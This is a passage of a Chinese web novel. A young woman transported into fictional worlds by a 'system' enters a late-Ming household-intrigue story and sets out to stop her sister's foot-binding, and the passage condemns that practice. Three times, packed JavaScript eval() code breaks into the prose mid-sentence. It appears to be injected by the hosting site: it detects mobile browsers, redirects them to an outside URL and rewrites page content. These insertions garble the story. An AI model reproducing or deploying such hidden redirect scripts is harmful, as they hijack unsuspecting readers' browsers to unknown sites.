系统:“没错。我早就提醒过玩家,你若成为「男主」,你的一举一动都会牵动女主的命运。这一副本中最难的关卡,并不是女主成为母君,而是女主成为母君之后,如何面对心爱之人的离世。” 姜婋愕然:“什么……” 系统:“玩家,你可知原小说中,女主最终为何会选择殉情自尽?” 姜婋失神道:“因为她深陷「浪漫爱」法则的困局,面对心爱之人的离世,只能选择共赴黄泉……” “不仅如此。” 系统:“在原小说中,昭离之所以成为女帝,几乎全靠顾云铮一人之力。杀死宰牙的是顾云铮,推翻媚皇后的是顾云铮,发动兵变将昭离推上皇位的仍然是顾云铮……” “女主对顾云铮的依赖,早已远远超越了对父皇的「雏鸟情结」。所以顾云铮一旦死去,女主角便如雏鸟失巢,无法生存,只能殉情赴死。” 闻言,姜婋心头一凛。 * 这时,只见屏幕中,夜色如墨,昭离一袭白衣,于城墙上迎风而立。 苍啷—— 利刃出鞘,寒光如秋水照亮了她的眼眸,白刃上反衬着昭离决绝而失魂的面孔。 “昭离!”屏幕外,姜婋心急不已。 画面里,昭离站在城楼上,眺望向西北方,耳边仿似响起姜婋的承诺。 ——“我一定速去速回,等秋叶落尽,女贞花开时,我就回来了。” 昭离闭上眼眸,两行清泪滴落在长剑,泪珠被刃口劈成两半。 深夜风起,女贞花的花瓣纷飞如雨。 她微微启唇,如呓语般低吟:“婋婋……” 蓦地,剑光乍现,划破夜色。 昭离拔剑而舞,一招一式,正是当年姜婋在西陲时教她的防身剑法。 她挽剑回环,脑中闪过望风峡时,二人初见,凤鸾车绣帷翩然落下,窥见面具之下那黑如点墨的眼眸…… 她提剑刺去,宛如在风沙渡集市,两人同时瞄准匕首,射出箭矢的破风之瞬…… 她横剑拦腰,回忆起在木花里时,被囚于旋转的木桩之上,婋婋的手隔着麻绳勾住她的指尖,低声道:“你怕吗?” 她回身斩击,念起杀死宰牙后,婋婋第一个冲入营帐,将颤抖的自己紧紧拥入怀里…… 她步随剑动,浮想二人驾马狂奔,在鎏金的丹霞余晖中,相约共赴大业…… 她飞步进剑,身影一掠而至,如同再次坠入庆州冰冷的河中,将那一口救命的气息,渡入婋婋唇间…… 她旋腕挑刺,兴都的朝夕相处历历在目…… 人间种种尚在,唯有婋婋不在了…… 银光飞旋间,昭离仿若要把与婋婋的每段回忆都镌刻进剑锋之中。 挥至最后一式,她忽地转腕,将剑尖对准自己! * “不要啊!” 姜婋惊呼,声音仿佛要冲破屏幕。 唰的一声,只见昭离斩断了自己的一缕头发。 ——“你说过,无论你在不在我身边,我都要相信自己。” 昭离收剑入鞘,闭上眼眸,流下一滴清泪: “我会的,即使你不在了,我也要成为那个任凭风雨雷霆、万象倾覆,也依旧振翅翱翔的昭离……” 屏幕外,姜婋泪如雨下:“好样的,我的女主……” 此刻她终于可以确定,昭离再次浴火重生,从今往后,她不再依赖任何人的庇护,而是如她名字一般,昭而离火,以一身焰羽,自由飞翔。 画面中,盛大的丧礼上,昭离将那缕青丝与姜婋的遗物一同下葬。 不久后,护送蚕种的队伍,顺利抵达了西陲。至此,曌国在昭离的带领下迎来盛世。 * 倏地,屏幕熄灭,归于黑暗。 姜婋看完后,早已是泪流满面,她抬手拭泪,却听见“啪嗒”一声,原来是那只鹿角簪从袖中掉落。 她俯身捡起,泪珠一滚,滴落在簪上。 刹那间,鹿角簪化为一点光斑,拖出细长的尾迹,没入她眉心之中。一股熟悉的力量感涌入身体,宛如重生。 系统:“玩家,这是你在第二个副本中获得的力量。” 姜婋:“这次是什么力量?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“玩家,这一刻若是我有身体就好了,就可以给你一个拥抱……” 姜婋破涕为笑,吸了吸鼻子问:“系统,你在哪?” 系统:“我无处不在。” 姜婋站起身,伸出双手:“既然你无处不在,那你此刻不正是在拥抱着我吗?” 系统微微一顿,“你说的没错,我抱住你了。” 姜婋伸出手,指尖划过空气,因系统蹩脚的安慰,她的情绪稍稍舒缓。 在这个副本中,她仿佛“偷”走了五年的时间,若她注定一生只有30岁,那这何尝不是一种拓宽生命广度的耍赖呢? 想到这里,她收拾心绪,重振精神。 “昭离要继续往前走,她有她的路,我也有我的路……任凭风雨雷霆、万象倾覆,也无法改变我闯关的方向!” 系统:“你们人类,真是既脆弱又顽强。” 姜婋笑了笑:“我倒是羡慕你,永远那么云淡风轻,不悲不喜。” 系统一时无声。 姜婋忽然卖惨:“系统,我跟你商量点事呗,这个副本太累了,又伤身又伤心,又生又死的……我白头发都窜出来好几根!下个副本能不能稍微简单一点,让我缓一缓?我毕竟也是刚死过的人,真经不起这么折腾了……” 系统:“好的,尽量满足玩家要求。即将进入第三个副本,你准备好了吗?” 姜婋目光一凛:“放马过来吧!” * 【作者小啰嗦】 第二个副本结束了,谢谢看到这里的读者,陪着姜婋和昭离一路成长。 暂定8月更第三个副本,猜猜是什么主题~ 微博会发书单和预告! 61.01 姜婋再一睁眼,发现自己躺在一张雕花螺钿拔步床上。 环顾四周,只见三面帷幕低垂,两侧摆着红漆描金的小柜,柜上放着霁红釉缠枝花瓶、雕花铜镜箱,还有一只莲花香炉,冒着袅袅香气。 她边看边咂巴嘴,心道:自己怎么满嘴都是苦味? 这时,正要给她换湿帕子的丫鬟突然喊道:“二小姐醒了,快去找夫人!” 姜婋眨了一下眼,额角帕子上的水珠顺着睫毛滑落,可欲滴未落之时,四周的一切霎时定格。 奔跑的丫鬟脚尖悬而未落;莲花香炉的烟丝被掐于半空;就连窗外的柳枝,也如画中未干的一笔,凝固在风里。 就在这一片死寂中,脑中响起系统音—— “玩家,你进入的第三个副本是洋柿子文学城的宅斗小说《嫡女养成记》。” “宅斗?” 姜婋轻哼道:“宅斗文最火那阵子,我还真看了不少,套路我熟得很,都是嫡庶神教集大成者!打着‘大女主’的旗号,实际上都是‘大主母’的糟粕。总之就是,女主在闺阁时,斗继母和姐妹,婆子丫鬟;结婚后斗小妾和婆婆,妯娌姑姐……” “女主和其他女性角色斗得你死我活,男主的主要职能就是当女主在宅斗中处于弱势时,从天而降。但如果删掉这些刻意制造的女性矛盾,男主做了什么?好像什么也没做……甚至女主人生的最大困难,就是由这场婚姻造成。那么这个故事中的爱情就是一个伪命题,真正害女主陷入痛苦的并不是那些女人,而是男主以及父权制本身!” 她吐槽完问道:“不过这本书,我怎么没印象,选它有什么特别的吗?” 系统:“玩家,之前告诉过你,本系统挑选的副本都是你留言超过1000字以上的小说。” “我为什么写这么多字?” “因为你当时发布长评,骂女主杜含章是恋爱脑。” 姜婋很震惊:“我?骂女主吗?不可能啊,我一般都是大骂男主!” 系统提示:“这篇文是你在大学毕业之前看的。” 姜婋眼皮一跳,瞬间记忆回笼。 “……噢,那我知道了。我大学时期女权意识刚刚启蒙,外加我室友就是一个恋爱脑。她成绩超好,结果毕业时为了男友放弃了考研。我那会儿气炸了! 她说着叹了口气:“或许我那时候骂的不是这本书的女主,而是……她,也可能是那时的我自己吧。” 系统:“在第一个副本时,你有说过这个故事,这也是你心中的遗憾。” 姜婋挑眉:“系统,你记忆力还挺好的嘛。” 系统安静了一瞬,像是在筛选最合适的表达。 “你的每一句,我都记得。” 姜婋愣了愣,心里涌起一股被人在意的感动,可系统明明不是人啊…… 她没接话,只是轻轻挠了挠鼻尖,有点别扭地偏开头,装作没事一样:“行吧,系统,你再帮我回溯一下这个小说的剧情。 系统:“好,为玩家概述这一副本的故事……” “《嫡女养成记》讲述的是,明末松江府华亭县,棉布富商杜氏嫡女——杜含章,她年幼丧母,命薄如纸。父亲杜仲文将偏房马氏扶为正妻,马氏母女借机上位,含章从此堂前无亲,后院无依。她被抢家权、夺嫁妆,日日如履薄冰。 杜父离世后,马氏联手大伯一家侵吞家业,将含章打发至乡下破院,金枝玉叶沦为布衣寒女。 人人道她命如草芥,早晚不得好死。 可她不哭不闹,不争不吵,只静等风回路转。 一场偶遇,贵族嫡子柳如琢踏雪而来。她未曾动情,亦不肯低头,却在一次次交锋中,与他执手相知。 她嫁入柳家,温顺中敛藏锋芒,面对美艳小妾金桃的步步为营,她巧施算计,一一扳倒暗害之人,终于坐上主母之位。 这世间风月无常,后宅如狱,她步步为营,笑到最后……” * 听完后,姜婋直接笑喷:“系统,你是照着简介念的吧?宅斗味儿也太冲了!” 系统:“因为总结起来就是这些内容。” “我懂!” 系统:“玩家,你的原主人物是女主杜含章的妹妹——杜暮晓。这是应你的要求:不伤身不伤心、不生不死、还不累,特意让你成为富家千金,还有一位女主姐姐。” 姜婋颇为满意地点头:“不错不错,我是独生女,还真没体验过有姐姐是什么感觉。” 她说罢,扭头看向定在门口的丫鬟,窗外的静止的柳枝,笑道:“行了,别让她们定着了,闯关开始吧!” 话音刚落,四周的一切流动起来。 窗外的柳枝随风荡漾,莲花香炉的香烟重新萦绕。 小丫鬟又喊了一声“二小姐醒了”,便提着裙角,忙不迭往外跑远。 * 姜婋咂巴嘴,还是觉奇怪,嘴里怎么一股泥土味? 在这个副本里,自己好歹也是富家千金,应该不至于穷到吃土吧? 她刚想端起床边茶盏漱口,却听门口传来一声拖长了调子的呼唤: “我的心肝呐!晓晓——” 她循声望去,只见一个衣饰华丽、体态圆润的中年女子正快步而来。 系统:“玩家,这位便是原著中女主前期的压力人物,你的娘亲,当家主母——马香兰。” 只见马香兰快步走到床前,一把将姜婋抱了个满怀,呼唤道:“晓晓,你终于醒了,我的命根子呀,可吓死娘亲了……” 姜婋撞进她软乎乎的怀里,一瞬间竟有些恍惚。 那声“晓晓”,咬字极软,和她母亲喊她“婋婋”时的语气太像了。 这声呼唤,仿佛让她回到母亲去世前夜,摇着她的手低声呢喃的时刻。 姜婋一时愣住,马香兰捧着她的脸来回端详:“这孩子是不是吓傻了,怎么连娘都不会叫了?” 姜婋看着面前的女人,嘴唇微动,却怎么也喊不出那一声“娘”。 毕竟自母亲离世后,她再也没叫过“妈妈”这个词了…… 这时,系统提示音响起:“玩家,检测到女主杜含章此刻正受辱被欺,建议立即前往解救。” 姜婋立刻问道:“我姐呢?” 马香兰脸上慈爱的笑容瞬间收起:“别提那个小蹄子!若不是她看护不周,你怎么会掉进荷花池?不给她个教训,她还当自己是这个家的主儿了。” 姜婋还没来得及和系统同步事件前因,但她本能地选择了站在女主这一边:“此事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原著里,杜含章一开始最讨厌的,就是她这个“刁蛮任性、受宠至极”的妹妹。 愣神间,身旁的丫鬟红着眼,抽泣道:“二小姐你就别假惺惺了,我家小姐会变成这样,还不是因为你!” 杜含章轻声制止:“素书,别说了。” 姜婋一脸懵:“这到底是怎么回事?” ——“你个没长毛的小浪蹄子,竟敢以下犯上?” 这时,马香兰终于赶到,喘着粗气斥责: “你家那位大小姐,嫡女的架子倒是端得高,不过是个中看不中用的绣花枕头,连妹妹都看顾不好!晓晓今日落水,就是她失责之罪。泼她一桶水,已是我慈悲心肠,要搁在旁人家,早就打断腿了!若不是我家晓晓命大醒了过来,今日我非得让你家小姐也一块去见阎王!” 姜婋怒火冲顶,直接站起身,扭头大喊道—— “住口,马香兰!” 此言一出,全场震惊。 马香兰犹如雷劈,抖了三抖,颤声问道:“晓晓……你叫娘亲什么?” 姜婋再次重复:“马香兰女士,你想让我叫你娘吗?你配吗!有娘亲这么对自己的女儿吗?” “你是这个家的主母没错,那我和姐姐,都是你的女儿。从今天起,我和我姐命拴一线。你如何疼我,便要如何爱她,必须一视同仁。若你偏心、害她、辱她,我便永远不会认你为娘,只会叫你:马、香、兰!” 话音落地,马氏当场两眼一翻,直接晕倒。 姜婋头也不回,拉起杜含章,转身离去。 62.02 这边厢,姜婋将杜含章送回了闺房。 甫一进门,就闻到满屋子的墨香,房中三面墙皆挂字画,案上堆满《闺范》《女则》与各类杂抄诗稿,文房四宝也是一应俱全。 当真是人如其名——“腹有诗书,含章可贞。” 进屋后,素书忙扶着杜含章走进屏风后头更衣。 * 姜婋见二人入内,这才在脑中召唤系统。 “这到底是怎么回事?我原主是怎么掉进荷花池的?” 系统:“正在为玩家同步剧情……你之所以会掉进池中,是因为明日将举行的「折骨礼」。” 姜婋皱眉:“这又是什么节日,名字听着可不吉利。” “玩家,「折骨礼」俗称「小脚姑娘节」,是一种祭祀缠足神的仪式。明末松江府一带,每年农历八月二十四日,家中生女者要备好糯米红豆做米团,祈愿女儿骨质柔软。因女儿随着年岁增长,脚骨亦长,需每年将布条收紧,换上更小一寸的硬鞋。” 姜婋暴言:“这简直反人类啊!” 系统:“原小说情节是,马香兰命杜含章给杜暮晓送来缠足的新鞋,但杜暮晓一向怕疼,自幼缠足也常趁夜松开布条,导致脚一直没缠成型。此次马香兰下了决心,势必要让女儿缠成三寸金莲,于是爆发矛盾。杜暮晓逃出闺房,不慎失足跌入荷池,马香兰便将罪责怪于女主身上。” 姜婋无语:“……这事跟女主有半毛钱关系吗?” 系统:“玩家,请切换为宅斗视角。就算杜含章没有错,她也是错的。” “啊?为啥?” “因为杜含章的脚缠得好,是规训成功的典范。” 姜婋满头黑线:“这又是什么歪理?” 系统:“你可以简单理解为,在这个时代背景中,长得美丑都没那么重要,但是脚一定要小。马香兰怒的是,她亲生女儿在缠足这件事上,败给了继女。所以一气之下惩罚女主。杜含章也觉委屈,压抑多年,情绪崩溃,甚至动了轻生之念。也正是这一刻,你被原女主召唤到了这个故事。” “原来如此……” 姜婋问道:“系统,我记得这个小说最后,女主杜含章是不是因为脚伤而无法行走了?” 系统:“是的,本文结尾的危机是明末倭寇之乱,杜含章因常年缠足,在逃难中伤了脚趾,虽被男主柳如琢救下,但她也从此落下足疾。作者这么设计,是为了凸显柳如琢情深义重,对杜含章不离不弃。” 姜婋翻了个大白眼:“为了表现男主光环,就得把女主写残了?作者的脑子是被壮阳药给腌入味了吗?” 系统:“小说中足疾的设定是为后期的感情高潮,亦呼应前期杜含章对‘牡丹亭式爱情’的幻想。根据原剧情,结尾时杜含章在病榻之上回忆往昔,与柳如琢深情对视,并道出——‘生同室,死同穴’。这一幕被评价为全书最动人的桥段。” “动人?” 姜婋无语至极:“我看这分明是杀人!难怪结尾是‘女主坐在主母之位’,因为女主根本站不起来!不行,我要改变这一切,若杜含章站不起来,如何走出人生之路!” 系统:“那玩家需思考对策,如何应对明日的折骨礼。” 姜婋叹了口气:“系统,你这哪是帮我找了个轻松的副本,根本就是换个法子让我来遭罪啊!这富家千金有什么好的?三从四德、缠足陋习、困于闺阁……” 系统:“玩家,这就是女性最真实的处境。” 姜婋沉默了一瞬,忽地反问:“对了,我刚才踢水桶那一下还挺利落,说明我上个副本苦练的武艺还在?这不会随着副本更换而消失吗?” 系统:“本系统说过,玩家你若想要什么,只能靠自己习得。一旦习得,就是你的,谁也偷不走。” 姜婋恍然大悟:“这就是那条极为艰苦,但却最可靠的道路。” 系统:“正是。” * 这时,水墨画屏风里,隐约映出杜含章和素书的剪影。 随之传出素书的低语:“小姐,二小姐突然性情大变,怕不是又起了什么心思……您可得当心些,咱们不是没吃过她的亏。” 屏风内,杜含章正低头擦头发,她没说什么,只是将那缕湿发绕到耳后。 屏风外,姜婋叹了口气,心想有些事还是当面说清楚比较好。 * 等杜含章换好衣物,从屏风后走出,姜婋直接上前,郑重说道: “姐姐,以前是我不懂事。若有得罪的地方,我给姐姐道歉。今日摔进荷花池,让我想明白了,从今往后,我们姐妹一条心。我希望姐姐能相信我。” 屋内一时安静,连素书也屏了气。 杜含章没答话,只静静看了姜婋一眼。 她记得小时候,杜暮晓最爱抢她的簪子、衣裳,还有……父亲的目光。 这部小说的女主杜含章,是那种在后宅缝隙中长大的“高警觉型女主”,即便对方示好,她也不会立刻敞开心扉,总会在心底抱有三分怀疑。 半晌,她莞尔微笑道:“《杜家家训》有言,‘姊妹同处,宜助而不宜妒,宜敬而不相轻。’我一直想和妹妹好好相处,怎么会拒你于千里之外呢?” 这话说得得体圆融,任谁听了也不好再挑。 姜婋拉住她的手,语气带着撒娇:“那太好了,从今以后我就有姐姐了!” 杜含章觉得她这话说的奇怪,但也没深究,转言道:“晓晓,你今日冲撞母亲,既失女德,又违孝道,晚些时候该向母亲赔个不是。” 姜婋眼睛一瞪:“我才不呢!今天这事本来就是马香兰不讲理,我为什么要赔不是?” 杜含章劝解道:“《孝经》有云,‘事亲者,不得拂逆其意。’我们对父母长辈当顺从恭敬,你又怎可对母亲直呼其名……” “长辈就能倚老卖老,仗势欺人?” 姜婋一脸不忿:“马香兰那么对你,简直枉为娘亲,等她什么时候对你好了,我再管她叫娘!” 杜含章见她性情大变,也不知该如何劝,低头一瞥,忙道: “晓晓,你怎么连鞋子都没穿?这样实在有违《女训》,明天就是折骨礼了,你把脚缠好,安安分分些,好吗?” 姜婋皱眉道:“什么《女训》《孝经》的,就是天皇老子来了,我也不缠足!” “那怎么能行?” “怎么不行?” 杜含章摆出长姐的风范,耐心道:“小脚者,居室有礼,出门得体。你若不缠足,将来怎么嫁人?媒人上门第一眼不是看人,是看脚。” 这句话如一盆冷水浇在姜婋头上。 她终于意识到这个副本的真正难度,她要面对的是一个遵循着三从四德,并且拥护这套体系的女主。 这正是宅斗文真正的内核:谁服从得好,谁活得下去,最终的胜利者其实就是父权制的最大拥护者。 但姜婋不能直接说——“我不嫁人”,这种杜含章无法理解的充满现代思维的话语。 她只能换个角度,设身处地提醒道:“姐,你缠足不疼吗?” 杜含章道:“当然疼。可若不缠足,会被贻笑大方的。” 姜婋心口发紧:她必须要阻止杜含章继续缠足,不然按照原剧情发展,女主若是落下残疾,又怎么能跳脱出浪漫爱对她的束缚? “姐姐,既然缠足那么疼,为什么还要缠?” 她声音很轻,却仿佛一枚石子丢进死水,激起阵阵涟漪。 “你脚上的肉再这么捆下去,久而久之,脚趾脱落、溃烂长疮、血肉模糊。每逢吃鱼吃肉,气血上涌,脚肿得像灌了水,脓水从绷带里滴下来…… “夏天,脚因为脓血臭气熏天;冬天,又因为血液循环不畅而感到寒冷,如果脚离火炕太近,就会被热气流击中而感到疼痛。四个脚趾蜷曲着,就像死去的毛毛虫……” 杜含章听着,只觉脚上熟悉的疼痛感如潮水般涌来。 那是缠足数年带来的钝痛,像一只看不见的手日日折磨着她的足骨。 姜婋继续道:“缠足的女人只能拄着拐杖,靠着墙,靠着仆人,为了保持平衡,需得迈着极短的步子,费极大的力气。所以,女子不能从事体力劳动,囚禁在家中的高墙里,只有在某些场合,才能坐在轿子里,从一个地方被转移到另一个地方。缠足女子的思维和身体,就像她们的脚一样被束缚……” “缠足甚至扭曲了我们身体的自然线条,导致大腿和臀部变得肿胀。” 姜婋说到此处,冷冷笑道:“哼!这就是男人称之为‘丰满’。无知的男人认为缠足,能对□□产生改变。但实际上,缠足对□□没有任何影响,甚至还扭曲了骨盆的方向!” 杜含章神色微变,她从未听人这样赤裸地说出缠足恶习隐藏的男性欲望。 姜婋一脸愤怒:“那些变态文人,还拿女人的脚大做文章,分门别类,按形状分为:新月,和谐弓,竹笋……还有什么神品、奇品、珍品、纯品……” 她目光灼灼地望着杜含章。 “姐姐,当你读到弱柳扶风、眉如远山、指如春葱,以及软玉温香,那些陈词滥调的比兴惯例之时,难道不会觉得自己被物化了吗?” “就连我们的脚,也不再是脚,而是‘金莲’和‘莲步’。当我们被物化为芙蓉、弱柳、金莲之时,便意味着,我们可任人摘之、采之、折之、弃之、把玩之! “我们被男性凝视、物化、被词藻包装,最终自我物化。用缠足这一虐待暴行,顺从男性的欲望!如果说,婚姻和家庭是所有父权文化的支柱,那缠足就是这两根支柱的支柱。它让男人成为男人,令女人成为感受不到疼痛的‘东西’! “人类历史上,有太多血腥的屠杀和战争,要么为了食物、土地,要么为了权力和仇恨……但在这里,在一千多年的时间中,一个性别,为了性、为了畸形的美,残忍地阉割奴役另一个性别。说这是人类历史上最残酷的暴行都不为过!” 姜婋声音拔高道:“所以我绝不会缠足,也绝不会向这种暴行低头!” * 杜含章怔怔地看着她。 这番话像是一阵惊雷,将根深的“三从法则”劈开一道裂隙。 她也在忍受缠足的疼痛,但从没想过,这种疼本身是不该被忍受的。 杜含章犹豫道:“你说得也有道理。可是,女子若不缠足,便成了异类,便没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070252|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人要了……” 姜婋哼笑:“没人要?这不是天大的好事吗?” 杜含章一时骇然,难道自己这个妹妹掉进荷花池里,把脑子磕坏了? 姜婋忽然握住了她的手,无比认真道: “姐姐,这世界天大地大。若你想走得更远,就不能让脚被三寸绣鞋困住。否则你的身体、思想、灵魂,都会被那缠脚布禁锢,你就再也走不出这一方幽闺,明白吗?” * 刹那间,杜含章心头一震。 因为对方说出了她最心底里那个不敢说、不敢想、不敢面对的欲望。 ——走出去。 可为何妹妹竟敢说出来,而且说得如此理所当然,仿佛她真的能做到。 姜婋道:“明天的折骨礼,我会想办法,起码要保证在我们这个家里,可以不缠足。” 杜含章回过神,诧异问道:“你有什么办法?” “容我回去想想。”姜婋信誓旦旦道:“总之,头可断、血可流,足绝对不缠!” * 姜婋走了以后,闺房安静下来,可杜含章的心却还在怦怦狂跳。 素书轻声提醒:“小姐,二小姐那些话,听着是关心,可她以前也不是没演过这种虚情假意,说不定就是嫉妒您的脚缠的好。您还是留个心眼儿,明日折骨礼,咱们可不能再被她连累了。” 杜含章没有回应,回想起方才妹妹的神情,确实真挚,尤其是最后那段话,说出了她心中所想。 可霎时,脑中有个声音提醒她——不可以相信旁人,尤其是女人。 这是她作为宅斗女主的「基础设定」,像「三从法则」一样刻在潜意识里,根深蒂固。 她驱散脑中乱七八糟的想法,轻叹道:“对方主动示好,我们也不能伸手打笑脸人。但你说得对,我们在深宅之中,还是小心为上。” “小姐说的是。” 忽然,杜含章脚上一阵抽痛,眉头顿时蹙起。 “素书,替我取些明矾来。今日脚沾了水,痛得厉害。明日还得穿新鞋赴礼,若是脚肿,便见不得人了……” * 这边厢,姜婋回到自己的“囚室”(即闺房),打发丫鬟退下,独自在房中思考对策。 系统的声音响起:“玩家,检测到女主对你的好感度并未上升。” 姜婋支着下巴道:“可以理解,这毕竟是宅斗文嘛。杜暮晓和马香兰欺负女主杜含章这么多年,她要是一下子对我改观,跟我姐姐妹妹亲亲抱抱,那她根本活不过前几章好么?” 系统:“那你想好这一副本如何破局了吗?” “没有。” 姜婋抿了一口茶,叹气道:“在这个副本里,我不仅要对抗男主角和浪漫爱,还得对抗这个吃人的时代,更别说被父权制异化的马香兰了,以及被三从四德洗脑的女主角了……” 系统:“玩家,每一个副本都会难度升级,这是对你新的考验。破局的关键,是——” “女主人生之路嘛!” 姜婋接口,随之苦笑:“可杜含章的人生之路是什么呢?虽然小说结尾,她成为了当家主母,但这肯定不是她的人生之路。她喜欢什么,想做什么,我也不了解……” “我现在能做的,就是让我们俩在这个吃人的时代,尽量活得舒服一点。要走得长远,得强身健体、赚钱谋生、找到一个权力色彩小、尊重个体的生存空间。” * 这时,丫鬟巧珠敲门进来,她捧着一个匣子,语气讨好道:“二小姐,夫人让我给您送来明日的新绣鞋。” 姜婋扫了一眼那双巴掌大的缠足鞋,问道:“巧珠,马香兰怎么样了?” “马香……啊不,夫人被您气得头风都犯了。” 巧珠又劝道:“二小姐,夫人多疼您呀,您就别再惹她生气了。” 姜婋没有解释,淡淡点头,目送她退下。 * 系统忽然问:“玩家,我看得出来,你其实很关心马香兰,对吗?” 姜婋沉默半晌,才低声道:“她……跟我妈妈有点像,风风火火,嘴硬心软。我并不讨厌她,毕竟她也是被这个时代异化的可怜人……” 随之她话锋一转:“再说了,我也不是故意气马香兰,这么做也是为了帮女主嘛。” 系统:“此话怎讲?” “系统,我问你,要让这个家中,要让原本对立的两个人达成同盟,你知道最快的办法是什么吗?” 系统:“?” 姜婋得意一笑:“就是我来成为新的靶子,既然是宅斗,那就斗吧。让她们两个俩一致对外,来斗我!” 系统:“玩家,你这招叫——” 姜婋:“声东击西。” 她摩挲茶杯,分析起来。 “这折骨礼说不定就是契机,我要想想个办法……既能让女主和我从今往后,不必受缠足之苦;也能让马香兰以为,全家最不顺从的人是我。只要她盯着我,就没空再拿女主出气了……” 思忖间,姜婋眼神雪亮:“这招就叫,声东击西+李代桃僵+反间计!” 系统阴阳道:“玩家,没看出来,你简直是宅斗军师转世。” 63.03 夜深,杜宅一片寂然。 闺房中,姜婋在系统的帮助下,重新回溯了全文剧情,思考破解之道。 到了后半夜,她披衣而起,悄无声息地穿过内廊,特意来考察明日举行折骨礼的内院祠堂。 她忽然意识到,自来到这个副本,就一直被困在内院之中,都不知道这个世界外面究竟是什么样子…… 是像西陲那般黄沙漫卷,烈风如刃? 还是风沙渡那样异族混居,烟火杂陈? 亦或是如兴都那般锦绣繁华? 她轻轻一叹,问系统:“从我的闺房到正门,一共要穿过几道门?” 系统:“七道门。闺房门、内院门、内宅主院门、穿堂门,以及女眷不得轻易出入的仪门、前厅院门、最后是正门。玩家,这还不包括路过的屏门、月洞门、影壁门……” 姜婋苦笑:“所以我要走出去,就得像孙猴子那样,闯过九九八十一关?” * 回到闺房,姜婋盯着那一套明日要穿的华服与绣鞋,沉默片刻,忽然抬手拿起剪刀。 系统察觉异动:“玩家,你这是做什么?” 姜婋道:“经过上一个副本,我是明白了,在古代的故事中,与其在旧体制上缝缝补补,不如大刀阔斧,另立规矩!” 说罢,她便“喀嚓”一声,剪烂了那双三寸金莲。 * 次日,八月廿四。 清晨,杜宅内院的天色尚未透亮,婆子丫鬟们就开始准备折骨礼了。 祠堂的供桌上,排着整齐的器具:明矾、艾叶、剪刀、指甲刀、针线,以及一条十公分宽和四米长的绷带。 尽管这些工具的尺寸和质量,在每个家庭各有不同,但有一点出奇一致,那就是这些缠足材料都是由女性自己制作的。 真的很讽刺,女性自己生产,折磨自己的刑具。 * 说起这折骨礼,也有一套完备的流程。 第一步便是要烧香祭神,祈愿女子“骨软顺命、身守闺门”。 第二步是重头戏——换绣鞋。 每年,缠过足的女子要换上比去年更小一寸的绣鞋,还要在族中女性长辈的面前,展示这一年缠足的成果。 再由丫鬟伺候着洗脚、泡药,用明矾、艾草浸软脚骨,再由年长妇人亲自重缠,边缠边训。 接下来,由族宗女眷检查成果,对脚型评头论足。 这一整场流程,是一场有组织、有步骤、由女性亲自执行的物化与规训仪式。 * 内院祠堂里,杜家的表亲、族中女眷悉数到场。 她们身着华丽,眉眼中却带着一种仪式前特有的兴奋,那是一种压迫她人,来确认自身地位的亢奋。 正厅一隅,马香兰端坐主位,她昨日被气得头风发作,今日却已神色如旧。 她素来信佛,认定女儿昨日失态,是因落水惊吓,一时失了本性。 今早,她已焚香拜过观音娘娘,得签大吉,心中笃定:今日,自己的女儿,必是折骨礼中最出色的闺阁小姐。 马香兰相信,只要过了今日,把这脚缠上了,自己的女儿一定能找个好夫婿,比过那嫡女杜含章! 见众女眷到齐,时辰差不多了,马香兰擎笑道:“巧珠,快把二小姐请上来吧。” 她顿了顿,笑意稍敛,补上一句:“——还有大小姐。” * 这一边,姜婋和杜含章站在偏厅。 她脚下没穿鞋,只踩着一双素白的袜子来回踱步,思考对策。 杜含章站在一边,身形挺直,穿着一袭丁香褙子,外罩素缎披帛,恍若画中人般静默端然。 她的脚昨夜才被重新缠过,此刻藏在罗裙之下,疼得如同刀剜,连呼吸都不敢太重。 杜含章忍着痛,提醒道:“晓晓,今日族宗长辈都来了,你可不能像昨日那样胡闹,知道吗?” 姜婋看了她一眼,压低声音:“姐姐,你还记得我昨天跟你说过什么吗?待会儿无论我做什么,你都别插手。放心,今日之后,再也没有人能强迫我们俩缠足了。” 杜含章诧异,正要询问之时,巧珠已经走了过来。 “大小姐,二小姐,夫人叫两位过去换鞋了。” 姜婋挑了挑眉,朝杜含章投去一个意味不明的眼神,转身走去。 * 两位小姐遥遥而来,姜婋大大咧咧,丝毫不见拘谨;杜含章则仪态端方,一步三分规矩。 可在“爱女如命”的马香兰眼中,自己的女儿无疑是最出挑的那个,像极了她年轻时的模样,简直是她的得意续作。 她笑容温婉:“来,乖女儿,今儿是大日子,快换上娘给你准备的新鞋,让大伯母和婶娘们都看看。” 巧珠立刻上前,捧出那双新制三寸金莲。 可红布一掀,却见那双绣鞋早已被剪得惨不忍睹。 马香兰脸色大变,脱口而出:“谁剪的?是不是你?杜含章!” 杜含章猛然惊慌:“不是我,母亲,我没有……” 姜婋无语了,这哪是女主,真纯纯背锅侠。 “马香兰女士——” 她慢条斯理地开口:“你别什么事都往我姐姐头上怪,这鞋是我剪的。” 此言一出,厅中哗然。 马香兰听自己闺名被这么大肆叫出,顿时脸色铁青。 女眷们窃窃私语: “马香兰是谁啊?” “不知道哎……难道是主母?” 在封建时代,一位女性叫什么,大家都不知道,只知她叫杜夫人、马氏、当家主母…… 可她真正的名字又有谁知晓呢? * 马香兰强撑着挽尊:“诸位别慌,我家晓晓昨日失足落水,惊吓未退,这会儿怕是还没缓过来……” 女眷们面面相觑,也不好多问,便顺着台阶道:“无妨,鞋坏了再换一双就是。” 巧珠忙又捧来一双新鞋,鞋尖高翘如钩,鞋面绣着红莲。 姜婋斜眼一扫:“我不穿。” 